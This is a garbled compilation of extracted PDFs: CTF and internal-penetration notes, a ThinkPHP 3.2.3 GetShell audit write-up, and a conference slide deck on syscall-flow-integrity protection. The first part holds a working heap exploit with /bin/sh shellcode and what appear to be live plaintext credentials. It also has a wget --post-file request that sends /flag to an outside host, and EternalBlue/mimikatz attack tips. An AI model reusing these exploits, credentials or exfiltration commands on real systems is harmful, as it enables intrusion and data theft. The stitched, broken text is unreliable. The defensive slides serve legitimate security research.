def cmd(idx):
s.sendlineafter("> ",str(idx))
cmd(1)
def add(size,name,num,rode,dir,speed):
cmd(1)
s.sendlineafter("Name length: ",str(size))
s.sendlineafter("Name: ",name)
s.sendlineafter("Car number: ",str(num))
s.sendlineafter("Choose a rode(0 to 3): ",str(rode))
s.sendlineafter("Choose a direction(1 for forward or 2 for backward): ",str(dir))
s.sendlineafter("Set car's speed: ",str(speed))
def run():
cmd(4)
add(0x10,'123',0,0,2,30)
add(0x10,'123',1,0,1,30)
add(0x10,'123',1,0,1,30)
add(0x10,'123',0,0,2,30)
# add(0x10,'123',2,0,1,30)
# add(0x10,'123',3,0,2,30)
run()
elf = ELF("./main")
payload = p64(0x4050E0)*2
payload += p64(0)*2
payload += p64(elf.sym['back_door'])+p64(elf.sym['puts'])
add(0x50,payload[:0x4f],1,0,1,30)
cmd(3)
s.sendlineafter("Car index: ","0")
cmd(2)
heap = u64(s.recvline(keepends=False).ljust(8,'\x00'))
success(hex(heap))
cmd(3)
s.sendlineafter("Car index: ","0")
cmd(1)
sc = asm(shellcraft.sh())
s.sendafter("Door",'deadbeefdeadbeef')
cmd(2)
s.sendlineafter("Car index: ","0")
cmd(5)
cmd(1)
add(0x10,'123',0,0,2,30)
add(0x10,'123',1,0,1,30)
add(0x10,'123',1,0,1,30)
add(0x10,'123',0,0,2,30)
# add(0x10,'123',2,0,1,30)
# add(0x10,'123',3,0,2,30)
run()
sc = "\x48\x31\xf6\x56\x48\xbf"
sc += "\x2f\x62\x69\x6e\x2f"
sc += "\x2f\x73\x68\x57\x54"
sc += "\x5fH\xc7\xc0;\x00\x00\x00\x99\x0f\x05"
payload = p64(0x4050E0)*2
payload += p64(0)*2
payload += p64(heap+0x3f8)+sc
add(0x50,payload[:0x4f],1,0,1,30)
success(hex(heap))
# gdb.attach(s,'b *0x4022f5\nc')
cmd(3)
s.sendlineafter("Car index: ","0")
10.10.16.233
80端⼝有备份
cmd(1)
s.sendline("echo 123123123")
s.recvuntil("123123123")
s.sendline("cat test.b64")
b64 = s.recvall(timeout=5)
open("test.b64","w").write(b64)
s.interactive()
import base64
from ctypes import *
from pwn import *
data = open("./breakpwd.txt","r").read()
string1 = "ABCDEFGHIJKLMNOPQR0123456789stuvwxyzabcdefghijklmnopqrSTUVWXYZ+/="
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
data = base64.b64decode(data.translate(str.maketrans(string1,string2)))
def decrypt(v, k):
v0, v1 = c_uint32(v[0]), c_uint32(v[1])
delta = 0x9e3779b9
k0, k1, k2, k3 = k[0], k[1], k[2], k[3]
total = c_uint32(delta * 32)
for i in range(32):
v1.value -= ((v0.value<<4) + k2) ^ (v0.value + total.value) ^ ((v0.value>>5) +
k3)
v0.value -= ((v1.value<<4) + k0) ^ (v1.value + total.value) ^ ((v1.value>>5) +
k1)
total.value -= delta
return v0.value, v1.value
v = []
key = [0x14,0,0xc,0x19]
data = data+b'\x00'*6
for i in range(0,len(data),4):
tmp = u32(data[i:i+4])
v.append(tmp)
vs = []
for i in range(0,len(v),2):
vs.append((v[i],v[i+1]))
账号:admin
密码:8ab126bd5a
下⾯有弱⼝令top1000
[email protected]
xiaocheng@991678
10.10.16.54
wget可以发⽂件,⽤10.10.16.33监听就可以了
10.10.16.109
ewomail
账号:
[email protected]
xiaocheng@991678
[email protected]
arun@970614
192.168.54.24
劫持exe上线即可
192.168.54.25
xiaocheng密码爆破
Xiaocheng960811
192.168.54.26
buf = b''
for i in vs:
t1,t2 = decrypt(i,key)
buf += p32(t1)
buf += p32(t2)
# break
print(buf[:420])
http://10.10.16.54:8080/wget?argv=1&argv=1&argv=--post-
file&argv=/flag&argv=http://172.16.8.33/test.php
192.168.54.26
从邮箱⾥拿到密码
是个差分隐私的题⽬,这种基于laplace噪声的可以通过求平均的⽅法消除部分噪声的影响,⽽且看这个形式应该也
是个shamir⻔限制度,⽤拉格朗⽇插值的⽅法可以恢复多项式,恢复之后对多项式求平均。但求完平均之后还是会
有噪声影响,不过这个噪声已经很⼩了,只会对字符ascii码产⽣较⼩的影响,在+-2的范围内看⼀下语义,结合差
分隐私(DifferentialPrivacy)的题⼲即可猜出flag。
192.168.199.133
挂个正向代理⽤永恒之蓝直接打就⾏,然后mimikatz dump wangling密码即可
from sage.all import *
import numpy as np
from Crypto.Util.number import *
def h(xs,ys,a):
ans=0
for i in range(len(ys)):
t=ys[i]
for j in range(len(ys)):
if i != j:
t*=(a-xs[j])/(xs[i]-xs[j])
ans +=t
return ans
R.<x> = QQ[]
xs = [1,3,4,5,7,9,13]
for k in range(1, 5):
fs = []
for i in range(1, 21):
ys = []
with open(f'../part{k}/{i}.txt', 'r') as f:
data = f.readlines()[1:]
data = [t.strip().split(',') for t in data]
for j in range(len(data)):
pair = data[j]
idx = pair[0]
if int(idx) in xs:
ys.append(float(pair[1]))
fs.append(h(xs, ys, x))
f = sum(fs)
f = f / 20
need = [1,2,3,6,7,9,14]
flag = ''
for i in need:
flag += chr(int(f(i)))
# flag += chr(int(f(i)+0.5))
print(flag, end='') | pdf |
ddi/server/login.php
-
0x00
0x01 CLI
conf t //config
webmaster level 0 username admin password 123123 //
show webmaster users //
$res = execCli("exec", "webmaster $username $password");
if ($res["status"] != 1) {
json_echo($res);
exit();
}
$isSuccess = trim($res["data"]);
if ($isSuccess == 0) { //
session_start();
$isSuccess = trim($res["data"]);
if ($isSuccess == 0) { //
0x02
username=admin&password=a+b+c+d+e+f
ddi/server/fileupload.php
0x03
0x03 | pdf |
hw
0x01
userid=1|roleid=1
0x02
0x03
this.UserID = CommonFunction.DESDec(this.UserID);
this.RoleID = CommonFunction.DESDec(this.RoleID);
UserID=Uhe4q0dwPJk=
34dc0AHJKqA=
0x04 | pdf |
日常审计任务,记录一下
审计
某套短视频点赞诈骗平台的GetShell组合拳(TP3反序列化实战)
打开看到源码,很明显就是ThinkPHP v3.2.x的目录结构。
查看框架入口文件里的 THINK_VERSION 发现是3.2.3版本。
一些旧的框架版本的注入也都被修复了,寻找注入无果,于是开始其他漏洞的挖掘。
任意Session操作
文件: /Application/Api/Controller/AlipayController.class.php
这里的 session() 是ThinkPHP提供的,功能是可以操作session。
那么这里的利用思路就很清晰了,利用seesion操作,模拟管理员的session进行后台登陆。
接着去看了一下后台控制器的基类
文件: /Application/Common/Controller/AdminBaseController.class.php
这里可以看到,Admin的基类对权限的控制使用的是ThinkPHP封装好的验证类。跟进去看了一下,非常复杂,网上也没看到分析文章,实在
不想继续分析,于是往下走了点弯路。
由于前台用户是需要注册的,而注册又是需要邀请码的,在没有邀请码的情况下,是没有办法注册的,也就没办法调用前台的一些功能点,
对审计工作造成了局限性。但是这里有一个Session操作的漏洞就不一样了,我们可以通过操作Session登陆一个前台账号。
前台用户控制器的基类:
文件: /Application/Common/Controller/HomeBaseController.class.php
基本就是通过 $this->is_login() 来判断是否登陆
可以看到,只要 $_SESSION['member']['id']>0 即可。
这时候我们就可以使用前台的所有功能点了。
Phar反序列化
就在前两天我在团队的公众号公开了一条 ThinkPHP v3.2.* 的一条pop链(ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链),当前审
计的源码的框架版本,正好也在版本中,于是开始尝试挖掘反序列化。
经过一轮全局搜索 unserialize( 无果后,我开始尝试使用Phar反序列化,
全局搜索
(fileatime|filectime|file_exists|file_get_contents|file_put_contents|file|filegroup|fopen|fileinode|filemtime|fileowner|file
perms|is_dir|is_executable|is_file|is_link|is_readable|is_writable|is_writeable|parse_ini_file|copy|unlink|stat|readfile)\((
.*?)\$(.*?)\)
寻找可控协议的文件操作函数。
文件: /Application/Home/Controller/QrcodeController.class.php
可以看到这里有一个 file_get_contents() 函数,里面的参数是我们完全可控的,所以这里是可以触发phar反序列化的。
本地搭建一下环境测试
生成测试用的phar文件
触发Phar反序列化
成功,通过反序列化就可以读取目标的数据库配置文件,然后通过数据库操作进行添加用户或者读取密码等操作,最终进入后台。
后台GetShell
现在进入后台了,可以审计的点就又多了。首先先查看上传的代码。
把所有的上传逻辑都看完了,但是都做了白名单,无法进行绕过,所以开始寻找其他可GetShell的点。
文件: /Application/Admin/Controller/SystemConfigController.class.php
这里调用了 SystemConfigModel::set ,跟过去看看。
发现调用的是ThinkPHP的
F() 函数,熟悉ThinkPHP的师傅们应该知道,这个函数是用来缓存一些数据的,如字符串、数组等。而缓存的方式是将数据序列化后存入
一个PHP文件中,所以我们可以使序列化后的字符串存在一个php后门,完成GetShell。
利用
经过审计后,一整套的组合拳就出来了。
1. 通过操作Session登陆任意前台用户
2. 通过报错界面获取WEB路径
3. 生成利用恶意Mysql客户端任意文件读取漏洞获取数据库配置文件的phar文件
4. 上传phar文件到服务器
5. 触发反序列化读取数据库配置文件
6. 生成与目标数据库服务器配置相同配置的phar文件,并上传
7. 触发反序列化进行SQL注入
8. 读取后台账号密码并解密,或者插入一条后台管理员账号
9. 登陆后台使用漏洞GetShell
最后
这篇其实就是前两天发的TP3反序列化利用链的实战篇,实战打起来其实也不算繁琐,但是现在PHP的反序列化越来越少了,所以这种洞还是
且挖且珍惜吧。 | pdf |
Go With the Flow
Enforcing Program Behavior Through Syscall Sequences and Origins
Claudio Canella (@cc0x1f)
August 11, 2022
Graz University of Technology
Who am I?
Claudio Canella
PhD Candidate @ Graz University of Technology
@cc0x1f
[email protected]
1
Claudio Canella (@cc0x1f)
2002 2004 2006 2008 2010 2012 2014 2016 2018 2020 2022
0
0.5
1
1.5
2
·104
2,1561,527
2,451
4,935
6,6106,520
5,6325,736
4,6534,155
5,2975,191
7,939
6,5046,454
14,714
16,55717,344
18,325
20,149
15,044
Year
Vulnerabilities1
1Source: http://www.cvedetails.com/vulnerabilities-by-types.php
2
Claudio Canella (@cc0x1f)
What to do?
Eliminate bugs
3
Claudio Canella (@cc0x1f)
What to do?
Eliminate bugs
Limit Post-Exploitation Impact
3
Claudio Canella (@cc0x1f)
What to do?
Eliminate bugs
Limit Post-Exploitation Impact
3
Claudio Canella (@cc0x1f)
Control-Flow Integrity
1
2
3
4
5
6
control flow
4
Claudio Canella (@cc0x1f)
Control-Flow Integrity
1
2
3
4
5
6
Allow: 3 → [5,6]
Deny: 3 → ![5,6]
control flow
CFI check
4
Claudio Canella (@cc0x1f)
Control-Flow Integrity
1
2
3
4
5
6
Allow: 3 → [5,6]
Deny: 3 → ![5,6]
control flow
CFI check
malicious flow
4
Claudio Canella (@cc0x1f)
Control-Flow Integrity
1
2
3
4
5
6
Allow: 3 → [5,6]
Deny: 3 → ![5,6]
control flow
CFI check
malicious flow
4
Claudio Canella (@cc0x1f)
Linux Seccomp
Kernel
App.
5
Claudio Canella (@cc0x1f)
Linux Seccomp
Kernel
App.
Filter
install
5
Claudio Canella (@cc0x1f)
Linux Seccomp
Kernel
App.
Filter
System Call
5
Claudio Canella (@cc0x1f)
Linux Seccomp
no
Kernel
App.
Filter
terminate
System Call
5
Claudio Canella (@cc0x1f)
Linux Seccomp
no
Kernel
App.
Filter
terminate
System Call
System Call
5
Claudio Canella (@cc0x1f)
Linux Seccomp
no
Kernel
App.
Filter
terminate
System Call
System Call
return
5
Claudio Canella (@cc0x1f)
Sample
6
Claudio Canella (@cc0x1f)
Sample
Syscalls: 0 1 2 3 16 19 20 60 72 202 231
6
Claudio Canella (@cc0x1f)
Syscall-Flow-Integrity Protection
7
Claudio Canella (@cc0x1f)
Syscall-Flow-Integrity Protection
State Machine
7
Claudio Canella (@cc0x1f)
Syscall-Flow-Integrity Protection
State Machine
Origins
7
Claudio Canella (@cc0x1f)
Syscall-Flow-Integrity Protection
State Machine
Origins
Enforcement
7
Claudio Canella (@cc0x1f)
Syscall-Flow-Integrity Protection
State Machine
Origins
Enforcement
SFIP
7
Claudio Canella (@cc0x1f)
SysFlow
Compiler: Extraction
8
Claudio Canella (@cc0x1f)
SysFlow
Compiler: Extraction
Library: Setup
8
Claudio Canella (@cc0x1f)
SysFlow
Compiler: Extraction
Library: Setup
Kernel: Enforcement
8
Claudio Canella (@cc0x1f)
Syscall and CFG Extraction
Source Code
L01 :
void
foo ( i n t
t e s t ) {
L02 :
s c an f ( . . . ) ;
L03 :
i f ( t e s t )
L04 :
p r i n t f ( . . . )
L05 :
e l s e
L06 :
s y s c a l l ( read ,
. . . ) ;
L07 :
i n t
r e t = bar ( . . . ) ;
L08 :
i f ( ! r e t )
L09 :
e x i t (0) ;
L10 :
return
r e t ;
L11 :
}
9
Claudio Canella (@cc0x1f)
Syscall and CFG Extraction
Source Code
L01 :
void
foo ( i n t
t e s t ) {
L02 :
s c an f ( . . . ) ;
L03 :
i f ( t e s t )
L04 :
p r i n t f ( . . . )
L05 :
e l s e
L06 :
s y s c a l l ( read ,
. . . ) ;
L07 :
i n t
r e t = bar ( . . . ) ;
L08 :
i f ( ! r e t )
L09 :
e x i t (0) ;
L10 :
return
r e t ;
L11 :
}
Extracted Function Info
{
” T r a n s i t i o n s ” :
{
”L03” :
[ L04 , L06 ] ,
”L04” :
[ L07 ] ,
”L06” :
[ L07 ]
”L08” :
[ L09 , L10 ]
}
” C a l l
Targets ” :
{
”L02” :
[ ” s c a n f ” ] ,
”L04” :
[ ” p r i n t f ” ] ,
”L07” :
[ ” bar ” ] ,
”L09” :
[ ” e x i t ” ] ,
}
” S y s c a l l s ” :
{
”L06”
:
[ read ]
}
}
extract
9
Claudio Canella (@cc0x1f)
Syscall Offset Extraction
Translation Unit 1
L01 :
void
func ()
{
.func:39:
L02 :
asm( ” s y s c a l l ” : : ”a” (39) ) ;
. . .
.syscall cp:3:
L08 :
s y s c a l l c p ( close , 0 ) ;
L09 :
}
10
Claudio Canella (@cc0x1f)
Syscall Offset Extraction
Translation Unit 1
L01 :
void
func ()
{
.func:39:
L02 :
asm( ” s y s c a l l ” : : ”a” (39) ) ;
. . .
.syscall cp:3:
L08 :
s y s c a l l c p ( close , 0 ) ;
L09 :
}
Extraction TU 1
” O f f s e t s ” :
{
” func ” :
{
”39” :
[ L02 ]
}
}
”Unknown
O f f s e t s ” :
{
” s y s c a l l c p ” :
[ 3 ]
}
extract
10
Claudio Canella (@cc0x1f)
Syscall Offset Extraction
Translation Unit 1
L01 :
void
func ()
{
.func:39:
L02 :
asm( ” s y s c a l l ” : : ”a” (39) ) ;
. . .
.syscall cp:3:
L08 :
s y s c a l l c p ( close , 0 ) ;
L09 :
}
Translation Unit 2
L01 :
s y s c a l l c p :
. . .
L06 :
mov %rcx ,% r s i
L07 :
mov 8(% rsp ) ,%r8
.syscall cp:-1:
L08 :
s y s c a l l
. . .
Extraction TU 1
” O f f s e t s ” :
{
” func ” :
{
”39” :
[ L02 ]
}
}
”Unknown
O f f s e t s ” :
{
” s y s c a l l c p ” :
[ 3 ]
}
extract
10
Claudio Canella (@cc0x1f)
Syscall Offset Extraction
Translation Unit 1
L01 :
void
func ()
{
.func:39:
L02 :
asm( ” s y s c a l l ” : : ”a” (39) ) ;
. . .
.syscall cp:3:
L08 :
s y s c a l l c p ( close , 0 ) ;
L09 :
}
Translation Unit 2
L01 :
s y s c a l l c p :
. . .
L06 :
mov %rcx ,% r s i
L07 :
mov 8(% rsp ) ,%r8
.syscall cp:-1:
L08 :
s y s c a l l
. . .
Extraction TU 1
” O f f s e t s ” :
{
” func ” :
{
”39” :
[ L02 ]
}
}
”Unknown
O f f s e t s ” :
{
” s y s c a l l c p ” :
[ 3 ]
}
Extraction TU 2
”Unknown
S y s c a l l s ” :
{
” s y s c a l l c p ” :
[ L08 ]
}
extract
10
Claudio Canella (@cc0x1f)
Syscall Offset Extraction
Translation Unit 1
L01 :
void
func ()
{
.func:39:
L02 :
asm( ” s y s c a l l ” : : ”a” (39) ) ;
. . .
.syscall cp:3:
L08 :
s y s c a l l c p ( close , 0 ) ;
L09 :
}
Translation Unit 2
L01 :
s y s c a l l c p :
. . .
L06 :
mov %rcx ,% r s i
L07 :
mov 8(% rsp ) ,%r8
.syscall cp:-1:
L08 :
s y s c a l l
. . .
Extraction TU 1
” O f f s e t s ” :
{
” func ” :
{
”39” :
[ L02 ]
}
}
”Unknown
O f f s e t s ” :
{
” s y s c a l l c p ” :
[ 3 ]
}
Extraction TU 2
”Unknown
S y s c a l l s ” :
{
” s y s c a l l c p ” :
[ L08 ]
}
Linker
” O f f s e t s ” :
{
” func ” :
{
”39” :
[ L02 ]
} ,
” s y s c a l l c p ” :
{
”3” :
[ L08 ]
}
}
extract
merge
10
Claudio Canella (@cc0x1f)
State Machine Generation
11
Claudio Canella (@cc0x1f)
State Machine Generation
11
Claudio Canella (@cc0x1f)
State Machine Generation
merge
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
Info main
C a l l
Targets :
{
”L56” :
[ foo1 ] ,
”L59” :
[ foo2 ]
}
Last Syscalls
State Machine
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo1
Info foo1
C a l l
Targets :
{
”L03” :
[ bar1 ]
}
S y s c a l l s :
{
”L02” :
[ open ]
}
Last Syscalls
State Machine
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo1
Info foo1
C a l l
Targets :
{
”L03” :
[ bar1 ]
}
S y s c a l l s :
{
}
Last Syscalls
open
State Machine
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo1
bar1
Info bar1
S y s c a l l s :
{
”L12” :
[ read ]
}
Last Syscalls
open
State Machine
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo1
bar1
Info bar1
S y s c a l l s :
{
”L12” :
[ read ]
}
Last Syscalls
open
State Machine
open: [read]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo1
bar1
Info bar1
S y s c a l l s :
{
}
Last Syscalls
read
State Machine
open: [read]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo1
Info foo1
C a l l
Targets :
{
}
S y s c a l l s :
{
}
Last Syscalls
read
State Machine
open: [read]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
Info main
C a l l
Targets :
{
”L59” :
[ foo2 ]
}
Last Syscalls
read
State Machine
open: [read]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo2
Info foo2
C a l l
Targets :
{
”L179” :
[ bar2 ]
}
S y s c a l l s :
{
”L178” :
[ open ]
}
Last Syscalls
read
State Machine
open: [read]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo2
Info foo2
C a l l
Targets :
{
”L179” :
[ bar2 ]
}
S y s c a l l s :
{
”L178” :
[ open ]
}
Last Syscalls
read
State Machine
open: [read]
read: [open]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo2
Info foo2
C a l l
Targets :
{
”L179” :
[ bar2 ]
}
S y s c a l l s :
{
}
Last Syscalls
open
State Machine
open: [read]
read: [open]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo2
bar2
Info bar2
S y s c a l l s :
{
”L162” :
[ s t a t ]
}
Last Syscalls
open
State Machine
open: [read]
read: [open]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo2
bar2
Info bar2
S y s c a l l s :
{
}
Last Syscalls
stat
State Machine
open: [read,stat]
read: [open]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
foo2
Info foo2
C a l l
Targets :
{
}
S y s c a l l s :
{
}
Last Syscalls
stat
State Machine
open: [read,stat]
read: [open]
11
Claudio Canella (@cc0x1f)
State Machine Generation
main
Info main
C a l l
Targets :
{
}
Last Syscalls
stat
State Machine
open: [read,stat]
read: [open]
11
Claudio Canella (@cc0x1f)
Enforcement
Library
• extracts information
12
Claudio Canella (@cc0x1f)
Enforcement
Library
• extracts information
• makes offset adjustment
12
Claudio Canella (@cc0x1f)
Enforcement
Library
• extracts information
• makes offset adjustment
Kernel
• performs transition check
12
Claudio Canella (@cc0x1f)
Enforcement
Library
• extracts information
• makes offset adjustment
Kernel
• performs transition check
• performs independent origin check
12
Claudio Canella (@cc0x1f)
Evaluation
Performance
13
Claudio Canella (@cc0x1f)
Evaluation
Performance
Security
13
Claudio Canella (@cc0x1f)
Microbenchmark
None
Seccomp
State
Origin
Combined
0
200
400
302
348
326
329
341
292
336
320
320
332
Cycles
average
min
14
Claudio Canella (@cc0x1f)
Macrobenchmark
ffmpeg
nginx
memcached
0
0.5
1
1.5
+3.93 %
+1.08 %
+0.5 %
+2.98 %
+1.2 %
+0.34 %
+1.81 %
+1.52 %
+1.06 %
Normalized
Overhead
State
Sysloc
Combined
15
Claudio Canella (@cc0x1f)
State Machine Analysis
Application
Average Transitions
#States
busybox
15.99
23.52
coreutils
16.66
26.64
pwgen
13.56
18
muraster
18.89
29
nginx
74.05
107
ffmpeg
49.07
55
memcached
43.16
86
mutool
32.26
53
16
Claudio Canella (@cc0x1f)
State Machine Analysis
Application
Average Transitions
#States
busybox
15.99
23.52
coreutils
16.66
26.64
pwgen
13.56
18
muraster
18.89
29
nginx
74.05
107
ffmpeg
49.07
55
memcached
43.16
86
mutool
32.26
53
16
Claudio Canella (@cc0x1f)
Origin Analysis
Application
Total #Offsets
Avg #Offsets
busybox
102.64
3.75
coreutils
116.71
4.42
pwgen
84
4.42
muraster
193
4.6
nginx
318
3.0
ffmpeg
279
4.98
memcached
317
3.69
mutool
278
4.15
17
Claudio Canella (@cc0x1f)
Origin Analysis
Application
Total #Offsets
Avg #Offsets
busybox
102.64
3.75
coreutils
116.71
4.42
pwgen
84
4.42
muraster
193
4.6
nginx
318
3.0
ffmpeg
279
4.98
memcached
317
3.69
mutool
278
4.15
17
Claudio Canella (@cc0x1f)
Return-oriented programming
• Use exisiting code to exploit a program
18
Claudio Canella (@cc0x1f)
Return-oriented programming
• Use exisiting code to exploit a program
• Jumps to parts of functions (so called gadgets)
18
Claudio Canella (@cc0x1f)
Return-oriented programming
• Use exisiting code to exploit a program
• Jumps to parts of functions (so called gadgets)
• These gadgets are assembler instructions followed by a ret
• pop RDI; retq
• syscall; retq
• add RSP, 8; retq
18
Claudio Canella (@cc0x1f)
Return-oriented programming
• Use exisiting code to exploit a program
• Jumps to parts of functions (so called gadgets)
• These gadgets are assembler instructions followed by a ret
• pop RDI; retq
• syscall; retq
• add RSP, 8; retq
• Gadgets are chained together for an exploit
18
Claudio Canella (@cc0x1f)
Return-oriented programming
• Use exisiting code to exploit a program
• Jumps to parts of functions (so called gadgets)
• These gadgets are assembler instructions followed by a ret
• pop RDI; retq
• syscall; retq
• add RSP, 8; retq
• Gadgets are chained together for an exploit
• Overwrite the stack with gadget addresses and parameters
18
Claudio Canella (@cc0x1f)
Return-oriented programming
Stack
return address 3
value2
value1
return address 2
SP →
return address 1
Register
RSI
RDI
Program code
asm instruction
ret
Gadget 1
...
pop rsi
pop rdi
ret
Gadget 2
...
syscall
ret
Gadget 3
...
19
Claudio Canella (@cc0x1f)
Return-oriented programming
Stack
return address 3
value2
value1
SP →
return address 2
return address 1
Register
RSI
RDI
Program code
IP →
asm instruction
ret
Gadget 1
...
pop rsi
pop rdi
ret
Gadget 2
...
syscall
ret
Gadget 3
...
19
Claudio Canella (@cc0x1f)
Return-oriented programming
Stack
return address 3
value2
value1
SP →
return address 2
return address 1
Register
RSI
RDI
Program code
asm instruction
IP →
ret
Gadget 1
...
pop rsi
pop rdi
ret
Gadget 2
...
syscall
ret
Gadget 3
...
19
Claudio Canella (@cc0x1f)
Return-oriented programming
Stack
return address 3
value2
SP →
value1
return address 2
return address 1
Register
RSI
RDI
Program code
asm instruction
ret
Gadget 1
...
IP →
pop rsi
pop rdi
ret
Gadget 2
...
syscall
ret
Gadget 3
...
19
Claudio Canella (@cc0x1f)
Return-oriented programming
Stack
return address 3
SP →
value2
value1
return address 2
return address 1
Register
RSI
value1
RDI
Program code
asm instruction
ret
Gadget 1
...
pop rsi
IP →
pop rdi
ret
Gadget 2
...
syscall
ret
Gadget 3
...
19
Claudio Canella (@cc0x1f)
Return-oriented programming
Stack
SP →
return address 3
value2
value1
return address 2
return address 1
Register
RSI
value1
RDI
value2
Program code
asm instruction
ret
Gadget 1
...
pop rsi
pop rdi
IP →
ret
Gadget 2
...
syscall
ret
Gadget 3
...
19
Claudio Canella (@cc0x1f)
Return-oriented programming
Stack
return address 3
value2
value1
return address 2
return address 1
Register
RSI
value1
RDI
value2
Program code
asm instruction
ret
Gadget 1
...
pop rsi
pop rdi
ret
Gadget 2
...
IP →
syscall
ret
Gadget 3
...
19
Claudio Canella (@cc0x1f)
Return-oriented programming
Stack
return address 3
value2
value1
return address 2
return address 1
Register
RSI
value1
RDI
value2
Program code
asm instruction
ret
Gadget 1
...
pop rsi
pop rdi
ret
Gadget 2
...
syscall
IP →
ret
Gadget 3
...
19
Claudio Canella (@cc0x1f)
Return-oriented programming
Gadgets are often unintended
• Consider the byte sequence 05 5a 5e 5f c3
20
Claudio Canella (@cc0x1f)
Return-oriented programming
Gadgets are often unintended
• Consider the byte sequence 05 5a 5e 5f c3
• It disassembles to
add eax , 0xc35f5e5a
20
Claudio Canella (@cc0x1f)
Return-oriented programming
Gadgets are often unintended
• Consider the byte sequence 05 5a 5e 5f c3
• It disassembles to
add eax , 0xc35f5e5a
• However, if we skip the first byte, it disassembles to
pop rdx
pop rsi
pop rdi
ret
20
Claudio Canella (@cc0x1f)
Return-oriented programming
Gadgets are often unintended
• Consider the byte sequence 05 5a 5e 5f c3
• It disassembles to
add eax , 0xc35f5e5a
• However, if we skip the first byte, it disassembles to
pop rdx
pop rsi
pop rdi
ret
• This property is due to non-aligned, variable-width opcodes
20
Claudio Canella (@cc0x1f)
Return-oriented programming
Syscall instruction has byte sequence 0f 05
→ easy to find unaligned syscall instructions
21
Claudio Canella (@cc0x1f)
Return-oriented programming
Syscall instruction has byte sequence 0f 05
→ easy to find unaligned syscall instructions
SFIP restricts ROP chains via
21
Claudio Canella (@cc0x1f)
Return-oriented programming
Syscall instruction has byte sequence 0f 05
→ easy to find unaligned syscall instructions
SFIP restricts ROP chains via
• syscall origins → unaligned instructions not possible
21
Claudio Canella (@cc0x1f)
Return-oriented programming
Syscall instruction has byte sequence 0f 05
→ easy to find unaligned syscall instructions
SFIP restricts ROP chains via
• syscall origins → unaligned instructions not possible
• syscall transitions → not every sequence is possible
21
Claudio Canella (@cc0x1f)
Return-oriented programming
Syscall instruction has byte sequence 0f 05
→ easy to find unaligned syscall instructions
SFIP restricts ROP chains via
• syscall origins → unaligned instructions not possible
• syscall transitions → not every sequence is possible
Conclusion
SFIP imposes significant constraints on control-flow-hijacking
attacks
21
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
no-op1
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
fstat
no-op1
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
fstat
no-op1
no-op2
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
fstat
write
no-op1
no-op2
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
fstat
write
no-op1
no-op2
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
fstat
write
no-op1
no-op2
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
fstat
write
no-op1
no-op2
22
Claudio Canella (@cc0x1f)
Mimicry Attacks
Detection Policy
open
fstat
write
Mimicry Attack
open
fstat
write
no-op1
no-op2
22
Claudio Canella (@cc0x1f)
In the near future...
Coarse- to Fine-Grained SFIP
Location A
Location B
Function foo1
0x01 :
. . .
0x02 :
s y s c a l l ( open ,
. . . ) ;
0x03 :
bar1 () ;
0x04 :
. . .
Function foo2
0xb1 :
. . .
0xb2 :
s y s c a l l ( open ,
. . . ) ;
0xb3 :
bar2 () ;
0xb4 :
. . .
Function bar1
0x11 :
. . .
0x12 :
s y s c a l l ( read ,
. . . ) ;
0x13 :
return ;
Function bar2
0xa1 :
. . .
0xa2 :
s y s c a l l ( stat ,
. . . ) ;
0xa3 :
return ;
SFIP
t r a n s i t i o n s :
{
”open” :
[ read , s t a t ]
}
o r i g i n s
:
{
”open” :
[0 x02 ,
0xb2 ] ,
” read ” :
[0 x12 ] ,
” s t a t ” :
[0 xa2 ]
}
23
Claudio Canella (@cc0x1f)
Coarse- to Fine-Grained SFIP
Location A
Location B
Function foo1
0x01 :
. . .
0x02 :
s y s c a l l ( open ,
. . . ) ;
0x03 :
bar1 () ;
0x04 :
. . .
Function foo2
0xb1 :
. . .
0xb2 :
s y s c a l l ( open ,
. . . ) ;
0xb3 :
bar2 () ;
0xb4 :
. . .
Function bar1
0x11 :
. . .
0x12 :
s y s c a l l ( read ,
. . . ) ;
0x13 :
return ;
Function bar2
0xa1 :
. . .
0xa2 :
s y s c a l l ( stat ,
. . . ) ;
0xa3 :
return ;
SFIP
t r a n s i t i o n s :
{
”open” :
[ read , s t a t ]
}
o r i g i n s
:
{
”open” :
[0 x02 ,
0xb2 ] ,
” read ” :
[0 x12 ] ,
” s t a t ” :
[0 xa2 ]
}
23
Claudio Canella (@cc0x1f)
Coarse- to Fine-Grained SFIP
Location A
Location B
Function foo1
0x01 :
. . .
0x02 :
s y s c a l l ( open ,
. . . ) ;
0x03 :
bar1 () ;
0x04 :
. . .
Function foo2
0xb1 :
. . .
0xb2 :
s y s c a l l ( open ,
. . . ) ;
0xb3 :
bar2 () ;
